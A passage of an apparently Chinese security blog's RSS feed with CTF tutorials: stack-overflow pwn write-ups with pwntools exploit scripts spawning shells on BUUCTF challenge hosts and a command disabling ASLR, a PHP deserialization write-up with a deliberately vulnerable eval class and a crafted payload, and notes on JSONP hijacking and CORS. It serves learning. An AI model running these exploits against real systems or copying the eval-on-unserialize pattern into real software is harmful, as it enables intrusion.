title="原理"></a>原理</h2><p>栈溢出指的是在程序向栈中写入数据时，程序没有限制输入数据的大小，写入的数据量超过了栈的剩余空间，导致数据溢出到相邻的内存区域，覆盖了原本不应被修改的数据，如函数的返回地址，所以攻击者可以构造恶意代码来 getshell</p><h2 id="ret2text"><a href="#ret2text" class="headerlink" title="ret2text"></a>ret2text</h2><blockquote><p>Return To Text</p><p>这里用 buuctf PWN 方向第二题 rip </p></blockquote><h3 id="信息搜集阶段"><a href="#信息搜集阶段" class="headerlink" title="信息搜集阶段"></a>信息搜集阶段</h3><ol><li>拿到程序之后先检查一下程序的位数，看看用 ida64 还是 ida32</li></ol><p><img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251008100208940.png"></p><ol start="2"><li>checksec 检查一下程序的保护状态，可以看到 Stack 栈溢出保护没有开，所以有很大可能是栈溢出</li></ol><p><img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251008100722937.png" alt="image-20251008100722937"></p><h3 id="在-ida-中分析程序"><a href="#在-ida-中分析程序" class="headerlink" title="在 ida 中分析程序"></a>在 ida 中分析程序</h3><ol><li>使用 ida64 打开程序</li></ol><p><img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251008101019692.png" alt="image-20251008101019692"></p><ol start="2"><li>在左侧的栏内找到 main 函数，双击之后按 Tab 键可以查看反编译后的伪代码</li></ol><p><img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251008101221201.png" alt="image-20251008101221201"></p><ol start="3"><li>可以看到有一个 gets 函数，基本上确定是栈溢出攻击了。</li><li>双击变量 s 查看栈帧，可以推断出来需要填充的垃圾数据的长度  0xF + ebp [如果是 64 位程序就是 <code>8</code>，如果是32位程序就是 <code>4</code>]</li></ol><p><img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251013182957343.png" alt="image-20251013182957343"></p><h3 id="确定垃圾字符的长度"><a href="#确定垃圾字符的长度" class="headerlink" title="确定垃圾字符的长度"></a>确定垃圾字符的长度</h3><blockquote><p>在上一步操作中已经推断出来了，但是还有另外几种方法，在此记录一下，具体以 gdb 调试的结果为准</p></blockquote><ol><li>使用 <code>堆栈指针</code> ， 在 <code>选项 - 常规 </code> 中 勾选 <code>堆栈指针</code></li></ol><p><img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251013183541427.png" alt="image-20251013183541427"></p><p>可以确定长度 为 <code>0x18</code></p><ol start="2"><li><p>使用 pwngdb 调试</p><ol><li><code>gdb + 文件名</code> 进入gdb调试界面</li><li><code>starti</code> 执行 <code> disass main</code> 查看 main 函数的反汇编代码，<code>b *[16进制地址]</code> 在输入数据的地方打断点</li><li><code>run</code> 运行程序 <code>n</code> 输入输入 <code>AAAAAAA</code> ，在 0x7fffffffdd61 处输入 ，在 0x7fffffffdd78 之后跳出</li></ol><p> <img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251013194932319.png" alt="image-20251013194932319"></p><p> <img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251013195047001.png" alt="image-20251013195047001"></p><ol start="4"><li><code>p/d 地址1-地址2</code>  计算一下要填充垃圾字符的位数，得到 长度为 <code>23</code> 是个不是 8 的倍数，同时又是一个64位的程序，所以要考虑 <code>堆栈平衡</code> 的问题</li></ol></li><li><p>使用 msf 自带的命令生成垃圾字符</p><ol><li><code>msf-pattern_create -l 400</code> 生成一段长度为 400 的垃圾字符</li></ol><p> <img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251013195802033.png" alt="image-20251013195802033"></p><ol start="2"><li>依旧是进入 <code>pwngdb</code> 调试，打完断点之后在输入数据的地方将这个长度为 400 的字符串传进去，寻找 <code>RBP</code></li></ol><p> <img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251013200151394.png" alt="image-20251013200151394"></p><ol start="3"><li><code>RBP</code> 只能截取到 <code>a6Aa</code> 说明被撑爆了，只需要看看 <code>a6Aa</code> 这个字符串在刚刚生成的字符串的位置即可</li><li><code>msf-pattern_offset -q a6Aa</code> 算出来<code>19</code> 再加上 <code>a6Aa</code> 本身的长度<code>4</code> ，就是 <code>23</code></li></ol><p> <img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251013200743468.png" alt="image-20251013200743468"></p></li></ol><h3 id="找到可以利用的shell函数地址"><a href="#找到可以利用的shell函数地址" class="headerlink" title="找到可以利用的shell函数地址"></a>找到可以利用的shell函数地址</h3><ol><li>在 IDA 中 按 <code>SHIFT + F12</code> 可以查看可打印字符</li></ol><p><img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251013201019052.png" alt="image-20251013201019052"></p><ol start="2"><li>双击之后 按<code>CTRL + X</code> 交叉引用一下，拿到地址为<code>0x40118A</code></li></ol><p><img src="/./PWN-%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0/image-20251013201509913.png" alt="image-20251013201509913"></p><h3 id="编写-EXP"><a href="#编写-EXP" class="headerlink" title="编写 EXP"></a>编写 EXP</h3><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *io = remote(<span class="hljs-string">&quot;node5.buuoj.cn&quot;</span>,<span class="hljs-number">29582</span>)addr = <span class="hljs-number">0x40118A</span>payload = <span class="hljs-string">b&#x27;a&#x27;</span>*<span class="hljs-number">23</span> + p64(addr+<span class="hljs-number">1</span>) <span class="hljs-comment"># 堆栈平衡，所以这里要 +1</span>io.sendline(payload)io.interactive()</code></pre></div><h2 id="ret2shellcode"><a href="#ret2shellcode" class="headerlink" title="ret2shellcode"></a>ret2shellcode</h2><blockquote><p>同样是栈溢出，但是程序中没有可以利用的后门函数，这个时候就需要生成shellcode</p></blockquote><h3 id="原理-1"><a href="#原理-1" class="headerlink" title="原理"></a>原理</h3><p>攻击者需要将 shellcode （shell 的机器码）注入到内存当中，随后lion给栈溢出复写 return_address，使程序跳转至 shellcode 所在的内存地址</p><p>注意 ： 需要在 <code>ASLR</code>  保护机制没有开启的情况下才能利用成功</p><h3 id="ASLR-保护机制"><a href="#ASLR-保护机制" class="headerlink" title="ASLR 保护机制"></a>ASLR 保护机制</h3><blockquote><p>地址随机化</p></blockquote><p>开启之后，每次程序加载是 stack、libaries、heap的基址都会随机化。</p><p>三种状态</p><ol><li>随机化关闭</li></ol><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">echo</span> 0 &gt; /proc/sys/kernel/randomize_va_space</code></pre></div><h3 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h3><blockquote><p>生成shellcode</p></blockquote><div class="code-wrapper"><pre><code class="hljs python">shell_code = asm(shellcraft.sh())</code></pre></div><ul><li>完整exp 案例</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *io = remote(<span class="hljs-string">&quot;node5.buuoj.cn&quot;</span>,<span class="hljs-number">27627</span>)buf_addr = <span class="hljs-number">0x233000</span>offset = <span class="hljs-number">56</span>shell_code = asm(shellcraft.sh())payload = <span class="hljs-string">b&#x27;a&#x27;</span>*<span class="hljs-number">56</span> + p64(buf_addr)io.sendline(shell_code)io.recvline()io.sendline(payload)io.interactive()<span class="hljs-built_in">print</span>(payload)</code></pre></div><h2 id="ROP"><a href="#ROP" class="headerlink" title="ROP"></a>ROP</h2><h3 id="32位-ROP-链-构造"><a href="#32位-ROP-链-构造" class="headerlink" title="32位 ROP 链 构造"></a>32位 ROP 链 构造</h3><blockquote><p>payload 格式</p></blockquote><div class="code-wrapper"><pre><code class="hljs python">payload = <span class="hljs-string">b&#x27;a&#x27;</span> * [垃圾数据长度] + p32(_system 地址) + p32(<span class="hljs-number">0</span>) + p32(/<span class="hljs-built_in">bin</span>/sh 地址)</code></pre></div><h3 id="64位-ROP-链-构造"><a href="#64位-ROP-链-构造" class="headerlink" title="64位 ROP 链 构造"></a>64位 ROP 链 构造</h3><blockquote><p>payload 格式</p></blockquote><div class="code-wrapper"><pre><code class="hljs python">payload = <span class="hljs-string">b&#x27;a&#x27;</span> * [垃圾数据长度] + p64(rdi) + p64(/<span class="hljs-built_in">bin</span>/sh 地址) + p64(_system 地址)</code></pre></div>]]>
      </content:encoded>
    </item>
    <item>
      <title>PHP反序列化-WriteUp</title>
      <link>https://blog.lixey.top/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-WriteUp/</link>
      <description>
        <![CDATA[<blockquote>
<p>注意事项：阅读之前先要学会 php 的基础语法，面向对象的一些基础知识</p>
</blockquote>
<h1 id="什么是序列化和反序列化"><a href="#什么是序列化和反序列化" class="headerlink" title="]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/">反序列化</category>
      <pubDate>Sat, 13 Sep 2025 14:12:37 GMT</pubDate>
      <content:encoded>
        <![CDATA[<blockquote><p>注意事项：阅读之前先要学会 php 的基础语法，面向对象的一些基础知识</p></blockquote><h1 id="什么是序列化和反序列化"><a href="#什么是序列化和反序列化" class="headerlink" title="什么是序列化和反序列化"></a>什么是序列化和反序列化</h1><ul><li>序列化是将对象转换成可存储的字节序列的过程</li><li>反序列化是将字节序列恢复为对象</li></ul><h1 id="一个简单的实例"><a href="#一个简单的实例" class="headerlink" title="一个简单的实例"></a>一个简单的实例</h1><ul><li>序列化 serialize 函数</li></ul><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span>     <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">a</span></span>&#123;    <span class="hljs-keyword">var</span> <span class="hljs-variable">$name</span> = <span class="hljs-string">&quot;Lixiney&quot;</span>;    <span class="hljs-comment">// 内部变量</span>    <span class="hljs-keyword">var</span> <span class="hljs-variable">$age</span> = <span class="hljs-string">&quot;18&quot;</span>;         <span class="hljs-comment">// 内部变量</span>    &#125;<span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">a</span>();       <span class="hljs-comment">// new 一个对象</span><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>);          <span class="hljs-comment">// 输出 序列化的字符串</span><span class="hljs-meta">?&gt;</span></code></pre></div><p><img src="/./PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-WriteUp/image-20250913223337798.png" alt="image-20250913223337798"></p><ul><li>反序列化 unserialize 函数</li></ul><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-variable">$str</span> = <span class="hljs-string">&#x27;O:1:&quot;a&quot;:2:&#123;s:4:&quot;name&quot;;s:7:&quot;Lixiney&quot;;s:3:&quot;age&quot;;s:2:&quot;18&quot;;&#125;&#x27;</span>;  <span class="hljs-comment">//上一步操作中的序列化后的字符串</span><span class="hljs-variable">$a</span> = <span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$str</span>);  <span class="hljs-comment">// 反序列化</span><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">var_dump</span>(<span class="hljs-variable">$a</span>); <span class="hljs-comment">// var_dump() 查看变量类型</span><span class="hljs-meta">?&gt;</span></code></pre></div><p><img src="/./PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-WriteUp/image-20250913223801807.png" alt="image-20250913223801807"></p><h1 id="什么是反序列化漏洞"><a href="#什么是反序列化漏洞" class="headerlink" title="什么是反序列化漏洞"></a>什么是反序列化漏洞</h1><p>序列化和反序列化本身没有什么问题，但是当 用户参数可控，而且后台错误的使用了一些危险函数的时候，就会出现安全问题</p><ul><li>一些魔法函数</li></ul><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-title function_ invoke__">__construct</span>()            <span class="hljs-comment">//类的构造函数，创建对象时触发</span><span class="hljs-title function_ invoke__">__destruct</span>()             <span class="hljs-comment">//类的析构函数，对象被销毁时触发</span><span class="hljs-title function_ invoke__">__call</span>()                 <span class="hljs-comment">//在对象上下文中调用不可访问的方法时触发</span><span class="hljs-title function_ invoke__">__callStatic</span>()           <span class="hljs-comment">//在静态上下文中调用不可访问的方法时触发</span><span class="hljs-title function_ invoke__">__get</span>()                  <span class="hljs-comment">//读取不可访问属性的值时，这里的不可访问包含私有属性或未定义</span><span class="hljs-title function_ invoke__">__set</span>()                  <span class="hljs-comment">//在给不可访问属性赋值时触发</span><span class="hljs-title function_ invoke__">__isset</span>()                <span class="hljs-comment">//当对不可访问属性调用 isset() 或 empty() 时触发</span><span class="hljs-title function_ invoke__">__unset</span>()                <span class="hljs-comment">//在不可访问的属性上使用unset()时触发</span><span class="hljs-title function_ invoke__">__invoke</span>()               <span class="hljs-comment">//当尝试以调用函数的方式调用一个对象时触发</span><span class="hljs-title function_ invoke__">__sleep</span>()                <span class="hljs-comment">//执行serialize()时，先会调用这个方法</span><span class="hljs-title function_ invoke__">__wakeup</span>()               <span class="hljs-comment">//执行unserialize()时，先会调用这个方法</span><span class="hljs-title function_ invoke__">__toString</span>()             <span class="hljs-comment">//当反序列化后的对象被输出在模板中的时候（转换成字符串的时候）自动调用</span></code></pre></div><p>接下来我们来逐行解析一下 赛题的代码</p><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<span class="hljs-title function_ invoke__">error_reporting</span>(<span class="hljs-number">0</span>);<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">a</span></span>&#123;    <span class="hljs-keyword">var</span> <span class="hljs-variable">$act</span>;    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">action</span>(<span class="hljs-params"></span>)</span>&#123;        <span class="hljs-keyword">eval</span>(<span class="hljs-variable language_">$this</span>-&gt;act);  <span class="hljs-comment">// eval函数会将字符串当成php代码执行</span>    &#125;&#125;<span class="hljs-variable">$a</span>=<span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;flag&#x27;</span>]);    <span class="hljs-comment">//从get方式传入一个数据</span><span class="hljs-variable">$a</span>-&gt;<span class="hljs-title function_ invoke__">action</span>();   <span class="hljs-comment">// 执行了 action 函数</span><span class="hljs-meta">?&gt;</span></code></pre></div><p>首先是 <code>&lt;?php ?&gt;</code> 这个是用来表示php语言的，php 脚本 以 <code>&lt;?php</code> 开始 ， 以 <code>?&gt;</code> 结束</p><p>highlight_file() 函数用来高亮显示代码</p><p>error_reporting(0) 表示清空本页的报错信息</p><p>eval 函数可以将字符串当作php代码执行</p><p>例如：</p><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><span class="hljs-variable">$str</span> = <span class="hljs-string">&quot;phpinfo();&quot;</span>;<span class="hljs-keyword">eval</span>(<span class="hljs-variable">$str</span>);<span class="hljs-meta">?&gt;</span></code></pre></div><p><img src="/./PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-WriteUp/image-20250913224910091.png" alt="image-20250913224910091"></p><p>​既然 php 代码可以执行，那我们就可以执行一些危险的命令，如下</p><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-variable">$str</span> = <span class="hljs-string">&quot;system(&#x27;calc&#x27;);&quot;</span>;   <span class="hljs-comment">// 执行系统命令 calc 是打开计算器</span><span class="hljs-keyword">eval</span>(<span class="hljs-variable">$str</span>);<span class="hljs-meta">?&gt;</span></code></pre></div><p><img src="/./PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-WriteUp/image-20250913225143367.png" alt="image-20250913225143367"></p><p>根据这个原理就可以拿到 flag.php 中的 内容</p><p>下面这个代码用来生成 payload</p><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">a</span></span>&#123;    <span class="hljs-keyword">var</span> <span class="hljs-variable">$act</span>;    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">action</span>(<span class="hljs-params"></span>)</span>&#123;        <span class="hljs-keyword">eval</span>(<span class="hljs-variable language_">$this</span>-&gt;act);    &#125;&#125;<span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">a</span>();<span class="hljs-variable">$a</span> -&gt; act = <span class="hljs-string">&quot;highlight_file(&#x27;flag.php&#x27;);&quot;</span>; <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>);<span class="hljs-meta">?&gt;</span></code></pre></div><p>根据前文所写的 高亮显示代码的函数 可以查看 flag.php 中的内容</p><div class="code-wrapper"><pre><code class="hljs php">O:<span class="hljs-number">1</span>:<span class="hljs-string">&quot;a&quot;</span>:<span class="hljs-number">1</span>:&#123;s:<span class="hljs-number">3</span>:<span class="hljs-string">&quot;act&quot;</span>;s:<span class="hljs-number">27</span>:<span class="hljs-string">&quot;highlight_file(&#x27;flag.php&#x27;);&quot;</span>;&#125;</code></pre></div><p><img src="/./PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-WriteUp/image-20250913230645311.png" alt="image-20250913230645311"></p><p>提交到 ?flag 拿到flag</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>JSONP 漏洞</title>
      <link>https://blog.lixey.top/JSONP-%E6%BC%8F%E6%B4%9E/</link>
      <description>
        <![CDATA[<h1 id="Jsonp-原理"><a href="#Jsonp-原理" class="headerlink" title="Jsonp 原理"></a>Jsonp 原理</h1><blockquote>
<p>jsonp 可以让网页从别的域获取内容，即跨域读取数据</p>
<]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/">网络安全</category>
      <category domain="https://blog.lixey.top/tags/jsonp/">jsonp</category>
      <pubDate>Tue, 02 Sep 2025 13:04:38 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="Jsonp-原理"><a href="#Jsonp-原理" class="headerlink" title="Jsonp 原理"></a>Jsonp 原理</h1><blockquote><p>jsonp 可以让网页从别的域获取内容，即跨域读取数据</p><p>攻击者模拟用户向有漏洞的服务器发送 jsonp 请求，然后获取到了用户的某些信息，再将这些信息发送到攻击者可控的服务。</p></blockquote><p>jsonp 最基本的原理就是，动态添加一个 &lt;script&gt; 标签，而script标签的 src属性是没有跨域限制的</p><p>由于同源策略的限制，xmlHttpRequest 只允许请求当前 相同协议、域名、端口 的资源，如果要进行跨域请求，我们可以通过使用 script 标签来进行跨域请求，并在相应追踪返回要执行的 script 代码，可以直接使用json传递javascript对象</p><h1 id="JSONP-攻击方法"><a href="#JSONP-攻击方法" class="headerlink" title="JSONP 攻击方法"></a>JSONP 攻击方法</h1><p>和csrf类似，都需要用户登录账号，身份认证还没有被消除的情况下访问攻击者设计好的页面，就会获取json数据，将json数据发送给攻击者，寻找敏感json数据api接口，构造恶意代码，发送给用户，用户访问有恶意的页面，数据就会被劫持发送到远程服务器。</p><h1 id="JSONP-简单实现"><a href="#JSONP-简单实现" class="headerlink" title="JSONP 简单实现"></a>JSONP 简单实现</h1><ul><li><p>前端 <a href="http://localhost/">http://localhost</a></p>  <div class="code-wrapper"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript"></span><span class="language-javascript">  <span class="hljs-keyword">function</span> <span class="hljs-title function_">callBack</span>(<span class="hljs-params">json</span>)&#123;</span><span class="language-javascript">    <span class="hljs-title function_">alert</span>(<span class="hljs-title class_">JSON</span>.<span class="hljs-title function_">stringify</span>(json));</span><span class="language-javascript">  &#125;</span><span class="language-javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;http://localhost:8888/?callback=callBack&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></code></pre></div></li><li><p>后端 <a href="http://localhost:8888/">http://localhost:8888</a></p>  <div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><span class="hljs-title function_ invoke__">header</span>(<span class="hljs-string">&quot;Content-Type: application/javascript&quot;</span>);<span class="hljs-variable">$param</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;callback&#x27;</span>];<span class="hljs-variable">$info</span> = <span class="hljs-string">&quot;&#123;&#x27;name&#x27;: &#x27;Lixiney&#x27;, &#x27;age&#x27;: 18&#125;&quot;</span>;<span class="hljs-variable">$info</span> = <span class="hljs-title function_ invoke__">json_encode</span>(<span class="hljs-variable">$info</span>);<span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;<span class="hljs-subst">$param</span>(<span class="hljs-subst">$info</span>)&quot;</span>;<span class="hljs-meta">?&gt;</span></code></pre></div></li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>同源策略</title>
      <link>https://blog.lixey.top/%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5/</link>
      <description>
        <![CDATA[<blockquote>
<p>欠了好久的文章（之前一直想着要好好学安全的，但是玩起来就忘我了&#x3D;_&#x3D;），今天终于有时间能写写了。</p>
</blockquote>
<h1 id="什么是同源策略"><a href="#什么是同源策略" class="head]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E5%BC%80%E5%8F%91/">开发</category>
      <category domain="https://blog.lixey.top/tags/%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5/">同源策略</category>
      <pubDate>Mon, 01 Sep 2025 13:46:08 GMT</pubDate>
      <content:encoded>
        <![CDATA[<blockquote><p>欠了好久的文章（之前一直想着要好好学安全的，但是玩起来就忘我了&#x3D;_&#x3D;），今天终于有时间能写写了。</p></blockquote><h1 id="什么是同源策略"><a href="#什么是同源策略" class="headerlink" title="什么是同源策略"></a>什么是同源策略</h1><p>之前刚刚学习的时候，那是做一个前后端分离的项目，有一串json数据要从后端提取，前端用的语言是 vue，使用了8080端口，后端为php语言，80端口。后来发现这个数据愣是找不到，一番检查之下，发现是同源策略的问题。</p><p>那么问题来了，为什么会有同源策略呢？其实简单的思考一下就能想到，同一个后端接口，我能访问到，别人也能访问到，这就构成了一个很严重的数据安全问题。</p><p>浏览器的同源策略规定，不同域的客户端脚本在没有明确授权的情况下，不能读写对方的资源</p><p>那么概念理解完了，所谓的“同源”是什么意思呢？</p><ul><li>相同协议</li><li>相同域名</li><li>相同端口号</li></ul><h1 id="同源策略允许的行为"><a href="#同源策略允许的行为" class="headerlink" title="同源策略允许的行为"></a>同源策略允许的行为</h1><ul><li>链接 &lt;a&gt; 标签</li><li>重定向</li><li>嵌入资源<ul><li>&lt;script src&#x3D;””&gt; 可以加载跨域的js 但是收到 cors 的限制</li><li>link 标签， 可以加载跨域的css</li><li>img video audio 等标签</li><li>iframe 标签，可以加载跨域的页面，但是无法使用 js 读取其内容</li><li>@font-face </li><li>&lt;object&gt; &lt;embed&gt; &lt;applet&gt;</li></ul></li></ul><h1 id="合法绕过同源策略"><a href="#合法绕过同源策略" class="headerlink" title="合法绕过同源策略"></a>合法绕过同源策略</h1><p>通常使用 CORS 方法</p><h2 id="CORS-跨域资源共享"><a href="#CORS-跨域资源共享" class="headerlink" title="CORS - 跨域资源共享"></a>CORS - 跨域资源共享</h2><blockquote><p> 需要后端服务器的支持，服务器在响应头中设置 <code>Access-Control-Allow-Origin</code> 字段</p></blockquote><p>前端 <a href="http://localhost/">http://localhost</a></p><div class="code-wrapper"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-keyword">html</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">&quot;en&quot;</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>  <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span>  <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;viewport&quot;</span> <span class="hljs-attr">content</span>=<span class="hljs-string">&quot;width=device-width, initial-scale=1.0&quot;</span>&gt;</span>  <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Document<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>  <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">&quot;showJson()&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;text&quot;</span>&gt;</span>测试<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript"></span><span class="language-javascript">  <span class="hljs-keyword">function</span> <span class="hljs-title function_">showJson</span>(<span class="hljs-params"></span>)&#123;</span><span class="language-javascript">    <span class="hljs-keyword">var</span> xhr =  <span class="hljs-keyword">new</span> <span class="hljs-title class_">XMLHttpRequest</span>();</span><span class="language-javascript">    </span><span class="language-javascript">    xhr.<span class="hljs-property">onreadystatechange</span> = <span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)&#123;</span><span class="language-javascript">      <span class="hljs-keyword">if</span>(xhr.<span class="hljs-property">status</span>==<span class="hljs-string">&#x27;200&#x27;</span> &amp;&amp; xhr.<span class="hljs-property">readyState</span>== <span class="hljs-string">&#x27;4&#x27;</span>)&#123;</span><span class="language-javascript">        <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&#x27;text&#x27;</span>).<span class="hljs-property">innerHTML</span>=xhr.<span class="hljs-property">responseText</span>;</span><span class="language-javascript">      &#125;</span><span class="language-javascript">    &#125;</span><span class="language-javascript">    xhr.<span class="hljs-title function_">open</span>(<span class="hljs-string">&#x27;GET&#x27;</span>,<span class="hljs-string">&#x27;http://localhost:8888&#x27;</span>,<span class="hljs-literal">true</span>);</span><span class="language-javascript">    xhr.<span class="hljs-title function_">send</span>();</span><span class="language-javascript">  &#125;</span><span class="language-javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span></code></pre></div><p>后端： <a href="http://localhost:8888/">http://localhost:8888</a></p><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><span class="hljs-title function_ invoke__">header</span>(<span class="hljs-string">&quot;Access-Control-Allow-Origin: http://localhost&quot;</span>);<span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;1&quot;</span>;<span class="hljs-meta">?&gt;</span></code></pre></div><h1 id="JSONP-方式-目前已经过时"><a href="#JSONP-方式-目前已经过时" class="headerlink" title="JSONP 方式 - 目前已经过时"></a>JSONP 方式 - 目前已经过时</h1><ul><li>利用 script 标签没有跨域限制的特性来实现。</li><li>客户端定义一个回调函数，然后通过script标签的src来请求一个 api地址，并带上回调函数名，服务器将数据包装在这个回调函数中返回，浏览器接收到后就会执行这个函数</li><li>缺点是只支持get请求，错误处理困难，并且存在严重的安全风险。</li></ul><p>还有一些其他的方法如 ： websocket 、代理服务器等。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>跨站请求伪造--CSRF</title>
      <link>https://blog.lixey.top/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0-CSRF/</link>
      <description>
        <![CDATA[<blockquote>
<p>攻击者通过某些技术手段欺骗用户的浏览器访问曾经认证过的网站并执行一些操作，挟持用户在当前已经登录的web应用程序上执行非本意的操作</p>
</blockquote>
<h1 id="攻击流程"><a href="#攻击流程" class="hea]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/">网络安全</category>
      <category domain="https://blog.lixey.top/tags/web/">web</category>
      <pubDate>Sun, 24 Aug 2025 13:17:02 GMT</pubDate>
      <content:encoded>
